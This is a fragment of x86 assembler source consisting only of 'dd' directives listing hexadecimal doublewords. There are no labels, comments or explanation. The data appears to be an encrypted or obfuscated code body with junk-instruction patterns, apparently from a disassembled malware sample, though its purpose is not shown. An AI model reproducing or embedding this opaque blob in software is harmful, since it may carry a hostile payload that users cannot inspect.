		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F478561Ch
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	9ADE9BEFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	0B1DE9BEFh
		dd 54C54D7Ch, 0BA8AAD79h, 9178561Ch, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah,	0A57B89A0h
		dd 94913D59h, 7F5DF70h,	83FE4DBAh, 9D3ED1h, 2A75FD7Bh
		dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h,	0CB75FCA7h
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh,	59136885h
		dd 1F2FFB77h, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h
		dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h
		dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch,	439D561Ch
		dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h
		dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh
		dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah
		dd 0E2CD3ED0h, 0D75FD7Ah, 74DE97EFh, 8DC0707Ch,	5D73F0D1h
		dd 2C7F518Ah, 0F1E002D0h, 873F0D1h, 0E574E592h,	0F8254D7Ah
		dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h
		dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh,	438A036Bh
		dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah
		dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah
		dd 69B65779h, 0C6DF1EFFh, 6C87D7Ch, 0F373F0D0h,	0FCF8EC0Fh
		dd 0BA78562Fh, 5C61152Ah, 1B9DFD7Ah, 2775FD78h,	759D571Ah
		dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0B1DF1EF7h,	0BDC87D7Ch
		dd 2F73F0D0h, 12F8F10Fh, 0CD78562Fh, 0E4DE152Ah, 4AB6FD7Ah
		dd 7975FD7Eh, 171F6885h, 0C3F8FB77h, 297852C8h,	3D6DF9F0h
		dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h
		dd 0CB8A3E78h, 2978561Ch, 96514ACEh, 74C1FF0Eh,	4E13F2CAh
		dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h
		dd 68B65778h, 0C6DE9BEFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h
		dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h
		dd 708AFD7Ah, 0F4785610h, 0D23C60F7h, 0A0F8FB77h, 4ECD3E39h
		dd 0D075FD7Ah, 9ADE97EFh, 0CEB57E7Ch, 1A8935F1h, 0FFDE9BEFh
		dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh
		dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h
		dd 475FD7Ah, 80B717FBh,	0EAFCFB77h, 0AECF7D86h,	0E573F0D1h
		dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 53DE97E8h,	0ADFCBD7Ch
		dd 91785614h, 79F835F1h, 0E3784DECh, 59136F85h,	7FFDFB77h
		dd 4801F3Ch, 5E75FD6Dh,	841B7F79h, 1A35FB77h, 0C6C577E0h
		dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 171B7779h,	0ECF8FB77h
		dd 29784D02h, 2F2B5989h, 0CB75FD72h, 4E1F6F85h,	0AF6FB77h
		dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh
		dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h
		dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh,	848980F3h
		dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh
		dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah
		dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0C6C55490h
		dd 97CF707Ch, 7973F0D1h
		dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh,	9ADE8FE7h
		dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
		dd 475FD7Ah, 9F9717FBh,	25F8FB77h, 0CD785608h, 5C7D80F1h
		dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 0F50740F7h, 0EF46FB77h
		dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F4785608h, 7874C2FBh
		dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h,	0ABB69C82h
		dd 4E0740F7h, 0F3CDFB77h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
		dd 0EFFE3DF1h, 3C0A78F7h, 0D08AFB77h, 8D8DCA8Bh, 60DB27Eh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 43C35646h
		dd 0C9FDEF9Dh, 18D8952h, 6A06070Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0E9E0C355h
		dd 8, 12A9A9FEh, 54FB5BAAh, 14A585C7h, 62400607h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0A0900FC3h, 9D299F70h, 60714E1h, 2FD585C7h, 607h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 995D45C3h, 0B2AAE500h, 0D99D89C1h, 6606071Fh, 9092C381h
		dd 45DB5FFh, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 49245FC3h, 0BD31BB3Ah, 6070349h
		dd 1C1995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1D0424h, 53430000h, 2EF7E3C3h, 0DA3AAEF5h, 0F6216C0h
		dd 68Fh, 81858B00h, 0BB06071Ch,	5BB8FF65h, 95FF006Ah, 6071B69h
		dd 7DEBC08Bh, 64E68D0Eh, 2E173DBEh, 0EAE0B2D5h,	1D784338h
		dd 0DF2BF3B5h, 52C7F511h, 0B86D94D0h, 0BC58686Eh, 21A2977Ah
		dd 8CD15B78h, 3DB767D3h, 8D640B96h, 6ACE9154h, 8D8ED297h
		dd 0D96B3666h, 323E60AFh, 537B966Dh, 17810597h,	0DA123962h
		dd 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah, 0BC640CBEh, 0DBF0BAC6h
		dd 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h, 1CFE9CD0h, 0B79B4FBDh
		dd 0D8941D11h, 5A6A33FBh, 2AE9E1h, 4C70000h, 24h, 0E800h
		dd 815D0000h, 0DB311EDh, 24448B06h, 39858904h, 0B806071Bh
		dd 0
		dd 4B4A8D8Dh, 0E1FF0607h, 6754B8h, 3BE900h, 8B600000h
		dd 700B5BDh, 4EF8306h, 0C18BC933h, 0B88320BBh, 4C783EDh
		dd 8BEh, 1BE8D100h, 33D323D2h, 850F4EC2h, 0FFFFFFF1h, 81078941h
		dd 100F9h, 0D3820F00h, 61FFFFFFh, 8DC88BC3h, 729319Dh
		dd 1434B806h, 85890000h, 6071175h, 0E8h, 0D055800h, 89000000h
		dd 1434E903h, 50Dh dup(0)
		dd 8D8D0000h, 60DC89Bh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 16C35141h, 0A018D89h,	6A0607h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 9666EDC3h, 0F3D5898Eh, 660419CBh, 85C7F98Bh,	60714A5h
		dd 6998h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	54C35141h, 13A0690Eh, 2FD585C7h, 607h, 85890000h
		dd 6072065h, 319B5FFh, 95FF0607h, 6071C19h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0B6C35040h, 9AC295F1h
		dd 0F4AFBE1h, 0D2816656h, 8D8984D3h, 6070415h, 0FF006AFCh
		dd 71B6995h, 0EBC08B06h, 9EA8732Ch, 8A83EA6Dh, 0C757B43Eh
		dd 8AB97BE4h, 4634100Ch, 0E8FC95B3h, 37DA6B19h,	6489EF69h
		dd 0B516ED5Bh, 8D7E4D3Eh, 7D2FC3D6h, 0AE877h, 0DBD60000h
		dd 57ADA74h, 8CDD9FB6h,	68E0Fh,	0B5890000h, 6070DDDh, 6B5ABE5Bh
		dd 0C381287Ah, 6D49h, 5A63B056h, 0B9h, 4D858900h, 0FF06071Ch
		dd 0F28B1934h, 96C7815Fh, 8969BD0Bh, 71D35BDh, 64EF8106h
		dd 0F09A75Fh, 680h, 4DBD8900h, 81060733h, 228B6EC7h, 89D78B66h
		dd 858B0B3Ch, 6072E31h,	0E981F48Ah, 357182A9h, 2001858Bh
		dd 0C1810607h, 357182A5h, 5F576060h, 820Fh, 81610000h
		dd 4CF034D0h, 0F981611Ah, 0FFFF9380h, 1E850Fh, 85290000h
		dd 607198Dh, 2AE9h, 0FEBAAC00h,	0CD804892h, 0C065C51h
		dd 49C127CCh, 0FC33B55Dh, 0F78B6651h, 0FF71E95Eh, 102EFFFFh
		dd 0BF467806h, 8BC9A41Eh, 0EB5D0D26h, 16h, 4 dup(0)
		dd 0E8010100h, 0D000003h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 90D98AA6h
		dd 0B350D4B7h, 6A9079h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 980FACC3h, 7D9589D4h, 6A060702h
		dd 7FEB8100h, 6A0BB10Fh, 0E98D0B00h, 8D060723h,	0DCAD785h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8A2B7CDFh, 13E850CFh, 0F4000000h, 62B2C6Eh
		dd 254E891h, 633D326Eh,	0F97FC63Bh, 0D98BE69Fh,	2404895Bh
		dd 6A006AF9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0B2CB8BF9h, 3595FF7Ch, 6A060713h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 2303C352h, 0A98D03C8h, 0E906072Ch, 6CCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0ECC35545h
		dd 8F448180h, 661EAE51h, 0EF0AD981h, 0E8h, 0ED815D00h
		dd 60DCADCh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	38C35242h, 0EF812F0Dh, 170A3B8h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 0F5C35141h, 33137EFBh
		dd 80680CE2h, 2068B6EDh, 50D43C86h, 0F525052h, 0F585A31h
		dd 2830F31h, 60000000h,	81585A61h, 89802404h, 6A2BC3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 185C83C3h, 19DDDA69h, 9E9F7D6h, 0AC000000h, 9C688288h
		dd 84496616h, 1B6995FFh, 8D8B0607h, 6071971h, 0C9A0B58Dh
		dd 6A060Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0A718FAC3h, 8796C1CAh, 5E8h, 0F5508200h
		dd 0B589A5B0h, 6072835h, 5206C759h, 6A6D6765h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0D8B8C350h, 1546BE1Fh, 8E4C0FA0h, 2DB59D0Bh,	46C70607h
		dd 636E6F04h, 57006A6Ch, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0EFBA9FDDh, 8D2B6010h, 6072385h
		dd 6C22BF66h, 846C761h,	737361h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 8DC35545h, 0F0E81D7Dh, 0BA65E319h
		dd 0BF006A9Dh, 37025444h, 0C9A0858Dh, 6A060Dh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 3C648CC3h, 0A1057717h, 9D29E90Bh, 6071E69h, 0CE990h
		dd 0D6560000h, 217D8966h, 0AFAD7241h, 505049F4h, 12E8h
		dd 85A7E900h, 20E95C42h, 99C0C341h, 0A979D0CDh,	66D19842h
		dd 5959F98Bh, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0B9092CF4h, 0EDBD8918h, 0FF06071Dh
		dd 715E195h, 96B26006h,	1DA19D8Bh, 0B610607h, 0F840FC0h
		dd 0E9000000h, 40Fh, 0A219D29h,	0BA660607h, 7868F3D3h
		dd 51124F9Dh, 11E8h, 62FF1200h,	0CBCBD5D1h, 86D70FB1h
		dd 9C3E22CBh, 0DE9D12Ch, 0E5000000h, 7E04E382h,	0EBE97E6h
		dd 5DD68F33h, 34815B5Bh, 4F9C5424h, 2840F12h, 8A000000h
		dd 6995FFEAh, 0BA06071Bh, 65B31A6Ch, 0C9A0B58Dh, 0BA66060Dh
		dd 0BE829BFh, 4B000000h, 5AAE556Dh, 9C5AC7ADh, 0C75FE668h
		dd 34383106h, 56006A36h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0D74CE6E5h, 8B93A1FDh, 71FA99Dh
		dd 446C706h, 31342D37h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 66C35141h, 73A8D9Ah, 4D9503DAh, 0C706071Dh
		dd 846h, 81660000h, 6AEC16D7h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 5DC38C61h
		dd 0A6A32B77h, 0BF0FF75Bh, 0A0858DD9h, 6A060DC9h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8BE9C355h, 71FB595h,	51958906h, 50060716h, 2830Fh, 0D88B0000h
		dd 89240489h, 721058Dh,	0E195FF06h, 0F060715h, 0C00BC9BFh
		dd 7E840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 170424h, 50400000h, 89788FC3h, 3D9D8BAFh, 8B06071Ch
		dd 718959Dh, 0CE85306h,	92000000h, 0FE2D4DE7h, 259B1523h
		dd 0E8E2D1D9h, 0Eh, 8E59BA19h, 0F52872CAh, 945ACF78h, 5A5A042Fh
		dd 265E959h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 26D26C3h, 77229A4Dh, 0FA8B6626h
		dd 4E8h, 12C00h, 48F0F00h, 66000000h, 50AE86BFh, 12795FBBh
		dd 24448B14h, 50008B04h, 28E0F52h, 8B000000h, 66310FCFh
		dd 5A3979BBh, 24448958h, 0EE96004h, 49000000h, 39610A95h
		dd 0BA82F257h, 7B02DB74h, 38D0F2Fh, 66000000h, 5861FA8Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 23C35646h
		dd 6F34B768h, 87ED80BDh, 1B6995FFh, 13E90607h, 3D000000h
		dd 0B2D52E17h, 4338EAE0h, 0F3B51D78h, 0F511DF2Bh, 0B58D52C7h
		dd 60DC9A0h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	5BC35545h, 0EDCEEAE6h, 6C7FCCBh, 656C6946h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 7BC35242h, 0E872970Ah
		dd 0Ch,	8E7EDC37h, 20DEEC21h, 951F952Ch, 2F71958Bh, 0E95B0607h
		dd 0Fh,	46023C01h, 0DBF59D61h, 0E4244C2Dh, 0C7B112C6h
		dd 6F6D0446h, 0E980636Eh, 846C78Bh, 7373616Ch, 9E98501h
		dd 46C70607h, 0Ch, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 6A6605AAh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 14E8CFh, 0BAFC0000h,	0E05C22Eh, 2F03A488h, 0AC87DE3Dh
		dd 8E4E7A5Dh, 8E99371h,	79000000h, 82AD57EAh, 597F40DBh
		dd 0C9A0858Dh, 8166060Dh, 506A1DC2h, 0C68B6660h, 14E9h
		dd 6E333F00h, 8FE03DF1h, 54FDB0BDh, 3C6DD081h, 0BC30F84Eh
		dd 4896112h, 0FFADB124h, 715E195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0D6BEAFF7h
		dd 5648683Eh, 0C00BFC81h, 27840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 6A111AC3h
		dd 0E9EF32E0h, 27h, 0F9EAE9FCh,	6AFFFFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0B9C023C3h
		dd 8D3042D1h, 76EC1B5h,	13E906h, 0FD370000h, 22AC3641h
		dd 0B1337849h, 2C6962E7h, 37F50ACh, 0B898h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 0C7C3C3h, 5B2631C3h,	0E6FFF8B5h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0EC35242h, 9D8BF157h, 6071971h
		dd 0FE8C18Bh, 0A0000000h, 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah
		dd 0F0817C64h, 1F58784Eh, 16860F5Ah, 57000000h,	0EE8h
		dd 426A6B00h, 0CBAF4A1Bh, 33FEBD05h, 5928CC7Fh
		dd 34C2815Fh, 66000074h, 183AD181h, 1CD668h, 0CDBD3300h
		dd 5E060709h, 1581858Bh, 32FF0607h, 5BC38B66h, 1E799D01h
		dd 0F3810607h, 632147C2h, 0F381EB8Ah, 3BC80C33h, 0D6D08166h
		dd 83EB81BEh, 66748671h, 0FF0DF181h, 2CB81A89h,	81399EA5h
		dd 0A592CEEAh, 0BE86034h, 4D000000h, 2A41A9C6h,	0F620C8D9h
		dd 958B702Bh, 60703D9h,	85958959h, 6106071Ch, 92CAC281h
		dd 820F34A5h, 0Ch, 6810Fh, 858B0000h, 607069Dh,	0F01EE83h
		dd 0FFFF8985h, 860F60FFh, 6, 3758D8Bh, 7E90607h, 32000000h
		dd 16B9EF99h, 0FE614B99h, 0B2DA3CAh, 4FBA00A8h,	0B32EE8Ah
		dd 0EAD5ABA8h, 0B334675h, 4FBB0EA8h, 0AE5DBA8Ah, 4FBBFB57h
		dd 0B33B68Ah, 0EAD5ABA8h, 0B307975h, 4FB829A8h,	0B30FB8Ah
		dd 4FB8ABA8h, 0B317D8Ah, 0EAD5ABA8h, 0D42F2575h, 13278725h
		dd 83C6C003h, 90A752A5h, 57AF9671h, 0C742D121h,	0D42F4387h
		dd 132780FAh, 83CEC003h, 90A752A5h, 57AF9120h, 0C75ED121h
		dd 0D42F4387h, 132781A9h, 83DAC003h, 90A752A5h,	57AF90DCh
		dd 0C7AAD121h, 0D42F4387h, 13278132h, 8326C003h, 90A752A5h
		dd 57AF9069h, 0C7A6D121h, 0D42F4387h, 1327828Ch, 8332C003h
		dd 90A752A5h, 57AF93EFh, 0C7BED121h, 0D42F4387h, 1327820Eh
		dd 833AC003h, 90A752A5h, 57AF9355h, 0C7B6D121h,	0B8C34387h
		dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 52C0D5F2h
		dd 96A44859h, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h
		dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 121A593Ah
		dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h,	0DAC3B9CFh
		dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h
		dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h
		dd 1327F838h, 1129475h,	85A0D902h, 0AEA44826h, 51A1EC79h
		dd 0DC0941AEh, 1886C422h, 3773BA8Ch, 732ADF10h,	0C128C821h
		dd 0EA2C5904h, 152BFD5Bh, 9881508Ch, 5C0ED500h,	0A5FBABAEh
		dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh
		dd 0FD4AA86Ch, 51A2458Ah, 12C0D5F2h, 0DAA4485Eh, 68A15CDDh
		dd 0ADE78286h, 152A54A8h, 0F830BACCh, 9E2C53A3h, 0FC69CE52h
		dd 0A5B99783h, 0FA31EFE2h, 85A0D9F9h, 0AEA44826h, 949A0D79h
		dd 551A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h
		dd 402A5C6Ah, 9521A901h, 15C23454h, 0BA2458Ah, 0C174BE29h
		dd 24294387h, 1957DFA0h, 515E004Dh, 532A54A8h, 5A0BD775h
		dd 0CDA152AFh, 0FC69CE19h, 0A5B9979Bh, 0FA31EFE2h, 85A0D9F9h
		dd 0AEA44826h, 949A0D79h, 651A2320h, 8481328Ch,	5DDF6E21h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0FDA2458Ah, 1DC9953Bh,	919197B9h
		dd 38F2DE04h, 51A2454Ah, 1AD5A828h, 51A25E0Eh, 1523EDA8h
		dd 0A055458Ah, 9025862Dh, 51A24586h, 7332A328h,	37AA8E4Bh
		dd 0BE4C9723h, 0D8AE38A1h, 9E4BA8D5h, 936BB9CFh, 9E7F54A0h
		dd 0AD66C666h, 1D5FDFC8h, 96AE3801h, 152AA8EDh,	0C20E458Ah
		dd 2622B769h, 0FD627658h, 0D5078C22h, 0D1A2458Ah, 9125AB54h
		dd 51A24593h, 152A5D11h, 0D453B28Ah, 1FAF5B7Ah,	0E0A2458Ah
		dd 93E25610h, 9191EF4Bh, 19577F03h, 305E3803h, 0DCD61123h
		dd 4A24D48h, 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh
		dd 0B92A54A8h, 0B2229D00h, 85E1D4A7h, 0DC088600h, 1886C422h
		dd 0E173BA8Ch, 9FA7FEF8h, 57AFE91Ah, 0D6A08557h, 5DDF6E20h
		dd 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h, 60A13454h
		dd 5DDFCE82h, 15D6116Fh, 0E9A2458Ah, 152A54AFh,	61AFD775h
		dd 452652AFh, 0C128C820h, 0EA2C5904h, 0FB2BF55Bh, 3186949Bh
		dd 59622E85h, 0A58050ACh, 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 9E4AA86Ch, 2C294DFFh,	0E96F93A4h
		dd 51A2458Ah, 87D5FE04h, 57A54E23h, 17868C23h, 0DB2FEF49h
		dd 1327F838h, 0E9C49475h, 0BE4CBD28h, 7A088600h, 68A358D5h
		dd 14292476h, 1DE89D54h, 0BD29108Ah, 75D6902Bh,	0DAAA3001h
		dd 50ED58D5h, 51A24576h, 0EA80F8A8h, 56A9EC18h,	0B9E2DFAEh
		dd 0DC088558h, 1886C432h, 3771BA8Ch, 73E39410h,	0FB63CF21h
		dd 9C262983h, 0DAC3B9F7h, 0D7E3A8EDh, 0DAF74582h, 0E9EED744h
		dd 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0BF8654A8h, 5A0BD775h
		dd 0DDA152AFh, 0FB637726h, 0B9BACE25h, 825D4387h, 0E4AAECCEh
		dd 9028EEECh, 19577F02h, 305E3803h, 0DCD61123h,	4A24D48h
		dd 0D1A9B823h, 24292576h, 1957DFA0h, 515E004Dh,	732A54A8h
		dd 376B7732h, 85B0D903h, 0AEA44826h, 9592327Bh,	0FD09234Bh
		dd 6801FE04h, 0ADDFCC86h, 0E96FDFC9h, 51AA8743h, 96C6DFFDh
		dd 0DAC2B94Eh, 68A15CDDh, 0ADE78286h, 152A54A8h, 0B824FDECh
		dd 8FA7FFCEh, 57AFE91Ah, 0A09A8757h, 0FB0E0320h, 0B9BACE25h
		dd 825D4387h, 0D8ACECCEh, 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh
		dd 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 3AC0D5F2h
		dd 96A4485Dh, 152AA8EDh, 2429458Ah, 1957DFA0h, 5E917926h
		dd 152A1E2Ch, 5E89798Ah, 152A162Ch, 5ECA798Ah, 152A492Ch
		dd 5E13798Ah, 152A382Ch, 5EF2798Ah, 152A5C2Ah, 5EFA798Ah
		dd 152A6B2Ah, 51D6AC8Ah, 60D554A8h, 59D7BA86h, 0C74ECE25h
		dd 0DCF14387h, 18F96F32h, 0D871BA8Ch, 42C3A8EDh, 0AEA2458Ah
		dd 60D558DDh, 2538C882h, 462C597Ah, 8299DF07h, 0C6D552A5h
		dd 0B85E0003h, 152A5492h, 0AEAE3075h, 8FA75CDDh, 57AF970Ah
		dd 2EB0D9FBh, 0AEA44859h, 0E96FDD7Bh, 51A25863h, 195FABA8h
		dd 0DCAA3075h, 18F8D832h, 0CB2F168Ch, 13278793h, 142B9675h
		dd 152ABD54h, 0DAC3458Ah, 0D7E3A8EDh, 44BA4582h, 0E9000030h
		dd 0B0h, 438F2DDAh, 499523E5h, 4E9A22EBh, 4E9A44F0h, 4F9B29F0h
		dd 3C034465h, 460E6CB8h, 501674C0h, 551876C2h, 8D087BC7h
		dd 1B07FBEh, 1D01E0F0h,	0C17443BEh, 1AF60C67h, 0A3F3CD53h
		dd 39E38FEDh, 1AD0B86h,	87E5A55Bh, 58B631DBh, 4500690h
		dd 0C670935h, 20226DF6h, 0FD209B1h, 4C636334h, 3908BE72h
		dd 9F312AEh, 0B1FBD122h, 38E09h, 4DAA0000h, 8E2EDB69h
		dd 2EBA7DDBh, 0C9571D7Bh, 66F0B816h, 28E55B3h, 0A62AF14Fh
		dd 43E995F3h, 0E3693290h, 8210D230h, 0FF687ECFh, 0E9060DD7h
		dd 0FFF9A3E1h, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 0DD899B8h
		dd 0EBC50306h, 0B507404h, 0DA9E97Bh, 0C3680000h, 0E9060DDAh
		dd 0FFF9A3B9h, 0DDBDD68h, 0A3AFE906h, 0D568FFF9h, 0E9060DDCh
		dd 0FFF9A3A5h, 0DDD5868h, 0A39BE906h, 0B768FFF9h, 0E9060DE0h
		dd 0FFF9A391h, 0DE3BB68h, 0A387E906h, 0C568FFF9h, 0E9060DE4h
		dd 0FFF9A37Dh, 4B9735E2h, 519D2BEDh, 56A22AF3h,	56A24CF8h
		dd 57A331F8h, 440B4C6Dh, 4E1674C0h, 581E7CC8h, 5D207ECAh
		dd 951083CFh, 1BE77C6h,	2509E8F0h, 0DD9014DBh, 0DF2BB97Fh
		dd 1F9ACEF0h, 1373F850h, 4AFD4DFCh, 0B6CB47Bh, 0B78F32F0h
		dd 0CA3626E8h, 4A106E99h, 388306BCh, 9F000000h,	79F4744Ah
		dd 4CDAA0FEh, 3FEB4999h, 0E49AEA9Dh, 1369C315h,	510454FCh
		dd 0B66BF82h, 0D25C24F0h, 7715C11Fh, 91A94CC4h,	0CC660952h
		dd 0CA2FFDBFh, 73D99h, 0E3590000h, 8E1h, 6118DBFFh, 0C67A392h
		dd 1C6CBCF6h, 91480B69h, 0C6773C2h
		dd 4C9CECF6h, 0BBAD1100h, 6A3F7140h, 2A88FC13h,	53E2B162h
		dd 0CF00B65h, 22F16CBCh, 0F00B6513h, 0F9ACFC4Ch, 0B65072Ah
		dd 0E43EE1F0h, 0A985EBCh, 2CF2B454h, 363299CAh,	4E000000h
		dd 79F4744Ah, 13752AAAh, 8857D2FCh, 0F00B6AB5h,	0CAA45AAAh
		dd 49F8C77Ah, 9AF00B6Ah, 3A984BD1h, 5E3BEE74h, 1B6463BBh
		dd 0FD1DE78h, 4F99CA3Ch, 109h, 7E18DB6Bh, 26D929B7h, 0F87301C8h
		dd 0F086A535h, 0D19AA5E2h, 9245FB4Bh, 30E37134h, 35810FD2h
		dd 0C88FB66h, 2CE5A8F6h, 0C87DE5Dh, 0DF2F7FF6h,	1B1AE964h
		dd 44F60C87h, 0B21BDF81h, 89D98225h, 0AE0C87D3h, 5CAC5FE5h
		dd 0F78548A6h, 0FF695544h, 0D85E2684h, 0BCD8A722h, 70FC1324h
		dd 11C44A12h, 0C47746C1h, 99F00BEBh, 69B99349h,	0D8902E1Dh
		dd 9ECB8E5Dh, 5DBBFA11h, 0C5C0F95h, 0B12C7C56h,	41D46736h
		dd 3989F602h, 0E3AA0883h, 0ECB3115Dh, 0C010AE5Ah, 0CD575261h
		dd 2D8336B4h, 0AFEh, 0FF4BF19Eh, 551DFA1h, 0A56DEA7h, 125E00ACh
